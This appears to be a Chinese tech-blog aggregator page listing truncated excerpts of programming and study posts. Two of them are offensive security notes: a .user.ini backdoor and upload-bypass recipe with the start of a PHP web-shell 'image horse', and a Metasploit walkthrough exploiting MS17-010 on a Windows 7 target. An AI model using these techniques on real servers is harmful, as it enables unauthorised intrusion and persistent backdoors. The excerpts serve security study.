css定位.py

from selenium import webdriver #引入By类: from selenium.webdriver.common.by import By driver = webdriver.Chrome() #通过class属性定位输入框和百度一下、点表示通过class属性来定位元素: driver.find_element_by_css_selector(".s_ipt") driver.find_element_by_css_selector(".bg s_btn") #通过
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

关于...corresponds to your MySQL server version for the right syntax to use near '?' at line 1的解决办法

完整报错信息: java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?' at line 1 踩坑经历: 在有道词典翻译后,“你的SQL语法有错误;检查手册对应的MySQL服务器版本的正确语法附近'?'在第1行
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

CF1061E Politics 费用流

   题意: 两颗有根树,给定各个树的根。 这两颗树都有nn个点,依次编号。 给定每个编号的价值,你可以选择某些点。 两颗树都有不同条件:k,x 表示在编号为k的子树,要选择x个点 求满足条件的最大权值和 题解: 首先很显然是一个最大费用流 一开始想的是建立虚点,连x,然后对子树每个连1,但是边显然有点多(其实还是能过) 非常巧妙简化了连边数量
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

自主开发第一天

今天仔细阅读了大二寒假生活指导,这两天也一直在查资料,软件开发应该搭建什么环境,假期过去好几天了,觉得今天是时候应该展开进度了。查找知道应该在eclipse安装有关插件ADT和SDK进行安卓开发。安装插件的时候弹出对话框提示“Cannot complete the request.This installation has not been configured properly for Software Updates.See the error log for details.”出现了这样
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

定位一组元素.py

from selenium import webdriver import os,time driver = webdriver.Chrome() driver.get("http://www.baidu.com") #选择页面上所有的tag name为input的元素 inputs = driver.find_elements_by_tag_name("input") """ 通过tag name的定位方式很难定位到单个元素,因为元素标签名重名的概率很高,因而在定位一组元素时, 这种方式就派
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

.user.ini后门/上传黑名单绕过

.user.ini文件自动包含木马文件(后门): 前提条件: 1.正常的php文件 2..user.ini文件 3.muma.gif图片马 利用步骤: 1、创建一个文件夹test,大家可能会有疑问,为什么还要再创建一个文件夹test,其实就是如果根目录本身就有user.ini的话,那么就会有影响,同样的会层层往上层目录寻找user.ini 2、test.php 内容为<?php echo 1;?> 3、muma.gif内容为<?php if(@$_GET['shell']=='test'){p
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

第二章:物理层

2.1物理层的基本概念 2.2数据通信的基础知识 2.3物理层下的传输媒体 2.4信道复用技术 2.5数字传输系统 2.6宽带接入技术
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

c语言基础----线程

在头文件 threads.h 中,定义和声明了支持多线程的宏、类型和函数。所有直接与线程相关的标识符,均以前缀 thrd_ 作为开头。例如,thrd_t 是一个对象类型,它标识了一个线程。 创建并开始执行一个新线程thrd_create(): int thrd_create(thrd_t *thr, thrd_start_t func, void *arg); 参数 func 是一个指针,它指向在新线程需要被执行的函数,而 void 指针 arg 用于向该函数传递参数。换句话说,新线程将执行函
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

NEU winter_training 1

水一下NEU的寒假作业 据老师说前八题太简单 简单带过好了 7-1 7-1 N个数求和 本题的要求很简单,就是求N个数字的和。麻烦的是,这些数字是以有理数分子/分母的形式给出的,你输出的和也必须是有理数的形式。 输入格式: 输入第一行给出一个正整数N(≤100)。随后一行按格式a1/b1 a2/b2 ...给出N个有理数。题目保证所有分子和分母都在长整型范围内。另外,负数的符号一定出现在分子前面。 输出格式: 输出上述数字和的最简形式 —— 即将结果写成整数部分 分数部分,其中分数部分写成
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

SpringBoot启动项目之后,访问页面出现Whitelabel Error Page

话说万事具备,只欠东风~ 蹭闲暇时来跑个SpringBoot项目玩玩,把一切配置依赖准备就绪之后打算运行项目。 Staring...... 接着,在浏览器输入地址 localhost:8080/hello 很惊讶的看见 Whitelabel Error Page This application has no explicit mapping for /error, so you are seeing this as a fallback. Sat Jan 18 22:33:51 CST 20
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

拆分测试用例

calculator.py class Count: def __init__(self,a,b): self.a = int(a) self.b = int(b) #计算加法 def add(self): return self.a + self.b #计算减法 def sub(self): return self.a - self.b runtest.py import unittest
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

Johnson's Algorithm for ASPS(All Pairs Shortest Path)

之前由于觉得博客写起来没有笔记方便,所以停了很久。 最近开始使用markdown来写博客,感觉挺清爽,又要开始增产啦~ Johnson's Algorithm = Bellman-Ford + Dijkstra 若是仅仅使用|V|次Dijkstra算法跑完全图可以求得最短路径,时间复杂度(V2log|V| + VE) 虽然效率比Floyd高,但是只能处理正权图 Johnson算法就是将所有边预处理重新赋值,使全部边权为正,再利用Dijkstra处理 注意:不能单纯地每条边加上某个权值w,这样会
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

博客园装饰

我向来是喜欢简朴一点的,但是cnblog的也太。。。。。。 所以去找了一些装饰 开通js什么的这些功能网上都很多很全了,这里记录找到的几个写得比较好的博客 较为全面的两个:https://www.cnblogs.com/zhaopei/p/4174811.html https://www.cnblogs.com/guokaifeng/p/11121939.html (现在生成外链链接可能会没用,歌单上面的id其实就是外链id <!--网易云播放器样式--> <link rel="stylesh
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

吴裕雄--天生自然数据结构与算法:java代码实现常用数据结构——链表Linked List

class Node { private String data; private Node head; public Node(String data) { this.data = data; } public Node getNode() { return this.head; } public void setData(String data) { this.data = dat
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

MS17-010漏洞复现(kali metasploit)

1.终端进入msf(在终端输入msfconsole),使用search命令查找漏洞模块: 2.根据靶机选择漏洞模块(此处靶机为win7 sp1),使用use+漏洞模块(msf5可以直接使用编号代替模块名称),然后使用show options查看需要的参数。   使用show options查看模块所需参数: 3.通过set 【参数名】 【参数值】设置参数(配置需要的参数(set rhost 192.168.43.222),run或exploit运行): 4.靶机的cmd: 预防:在微软官网根据
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

c语言基础----指针 C语言函数返回指针方法

什么是指针? 指针是一个变量,其值为另一个变量的地址,即,内存位置的直接地址。 指针变量声明 type *var-name; type 是指针的基类型,它必须是一个有效的 C 数据类型,var-name 是指针变量的名称。用来声明指针的星号 * 与乘法中使用的星号是相同的。 空指针 赋为 NULL 值的指针被称为空指针,NULL 指针是一个定义在标准库中的值为零的常量。 数组指针: 它是一个指针,它指向一个数组。指向数组的指针,本质是指针。 int (*p)[3] 因为()优先级高,首先说明p
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

关于react hooks

一、react的组件 react的核心是组件,react有两种组件类:有状态组件(class)和无状态组件(function)。 有状态组件(class)常常使代码变的冗余而复杂,例如下面一个简单的button组件: import React, { Component } from "react"; export default class Button extends Component { constructor() { super(); this.state = {
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

上传文件.py

""" 上传文件是比较常见的Web功能之一,但WebDriver并没有提供专门用于上传的方法, 如何实现上传操作关键在于上传文件的思路。 一般Web页面的上传功能的操作需要单击“上传”按钮后打开本地的Window窗口,从窗口中选择本地文件进行上传。 而WebDriver是无法操作Windows控件的,所以,对于初学者来说,一般思路会卡在如何识别Window控件这个问题上。 对于Web页面的上传功能实现一般有以下两种方式。 ·普通上传:普通的附件上传是将本地文件的路径作为一个值放在input标签
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

用vue + leancloud开发一个免费的博客

项目地址 https://github.com/Fee-ing/Fe... 在线预览 在线预览地址: 搭建免费博客
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0

【学习笔记】BP神经网络

转自 huaweizte123的CSDN博客 链接 https://blog.csdn.net/huaweizte123/article/details/78803045 第一步、向前传播得到预测数据:向前传播的过程,即数据从输入层输入,经过隐含层,输出层的计算得到预测值,预测值为输出层的输出结果。网络层的输出即,该层中所有节点(神经元)的输出值的集合。我们以图一的神经网络结构为例,分析向前传播过程。 1.得到隐含层的输出y1,y2,y3: 2.获取到第二层的隐含层输出y4,y5,输入的数据也
分类: 其他 发布时间: 01-18 23:34 阅读次数: 0